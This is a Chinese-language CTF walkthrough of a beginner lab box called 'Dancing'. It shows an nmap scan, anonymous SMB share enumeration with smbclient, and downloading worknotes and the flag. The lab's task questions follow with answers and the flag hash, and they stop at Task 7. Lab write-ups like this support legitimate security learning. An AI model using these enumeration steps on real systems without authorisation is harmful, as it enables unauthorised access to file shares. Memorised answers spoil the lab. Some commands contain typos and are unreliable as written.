(base) PS C:\Users\1984l\OneDrive\桌面> nmap 10.129.112.72 Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-12 16:05 +0800 Nmap scan report for 10.129.112.72 Host is up (0.23s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 8.11 seconds
可以看到445 OPEN 這是smb來的 , 可以試試smb爆破:
在先安裝一下smbcline:
1
sudo apt-get install smbclient
安好後可以用:
1
smbclient -L 10.129.112.72
1 2 3 4 5 6 7 8 9 10
(py311) ghsc@Jerrylaptop:~$ smbclient -L 10.129.112.72 Password for [WORKGROUP\ghsc]:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC WorkShares Disk SMB1 disabled -- no workgroup available
可以用這一種格式來看看smb能不能
1
smbclinet \\\\{targer_IP}\\{Sharename}
WorkShares 可以連上去:
1 2 3 4 5 6 7 8 9 10 11 12 13
(py311) ghsc@Jerrylaptop:~$ smbclient \\\\10.129.112.72\\ADMIN$ Password for [WORKGROUP\ghsc]: tree connect failed: NT_STATUS_ACCESS_DENIED (py311) ghsc@Jerrylaptop:~$ smbclient \\\\10.129.112.72\\C$ Password for [WORKGROUP\ghsc]: tree connect failed: NT_STATUS_ACCESS_DENIED (py311) ghsc@Jerrylaptop:~$ smbclient \\\\10.129.112.72\\IPS$ Password for [WORKGROUP\ghsc]: tree connect failed: NT_STATUS_BAD_NETWORK_NAME (py311) ghsc@Jerrylaptop:~$ smbclient \\\\10.129.112.72\\WorkShares Password for [WORKGROUP\ghsc]: Try "help" to get a list of possible commands. smb: \>
用help來看看有什麼工具:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
smb: \> help ? allinfo altname archive backup blocksize cancel case_sensitive cdchmod chown close del deltree dir duechoexit get getfacl geteas hardlink helphistory iosize lcd link lock lowercase ls l mask md mget mkdir more mput newer notify open posix posix_encrypt posix_open posix_mkdir posix_rmdir posix_unlink posix_whoami print prompt put pwd q queue quit readlink rd recurse reget rename reput rmrmdir showacls setea setmode scopy stat symlink tar tarmode timeout translate unlock volume vuid wdel logon listconnect showconnect tcon tdis tid utimes logoff .. !
沒有cat , 但是有get 可以用:
用get來下載文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
smb: \> cd Amy.J\ smb: \Amy.J\> ls . D 0 Mon Mar 29 17:08:24 2021 .. D 0 Mon Mar 29 17:08:24 2021 worknotes.txt A 94 Fri Mar 26 19:00:37 2021
5114111 blocks of size 4096. 1750533 blocks available smb: \Amy.J\> get worknotes.txt getting file \Amy.J\worknotes.txt of size 94 as worknotes.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) smb: \> cd James.P smb: \James.P\> LS . D 0 Thu Jun 3 16:38:03 2021 .. D 0 Thu Jun 3 16:38:03 2021 flag.txt A 32 Mon Mar 29 17:26:57 2021
5114111 blocks of size 4096. 1750533 blocks available smb: \James.P\> get flag.txt getting file \James.P\flag.txt of size 32 as flag.txt (0.0 KiloBytes/sec) (average 0.1 KiloBytes/sec)
返回本機來看看文件:
1 2 3 4 5 6
(py311) ghsc@Jerrylaptop:~$ cat flag.txt 5f61c10dffbc77a704d76016a22f1664 (py311) ghsc@Jerrylaptop:~$ cat worknotes.txt - start apache server on the linux machine - secure the ftp server - setup winrm on dancing
Task1
What does the 3-letter acronym SMB stand for?
Server Message Block
Task2
What port does SMB use to operate at?
445
Task3
What is the service name for port 445 that came up in our Nmap scan?
microsoft-ds
Task4
What is the ‘flag’ or ‘switch’ that we can use with the smbclient utility to ‘list’ the available SMB shares on Dancing?
-L
Task5
How many shares are there on Dancing?
4
Task6
What is the name of the share we are able to access in the end with a blank password?
WorkShares
Task7
What is the command we can use within the SMB shell to download the files we find?
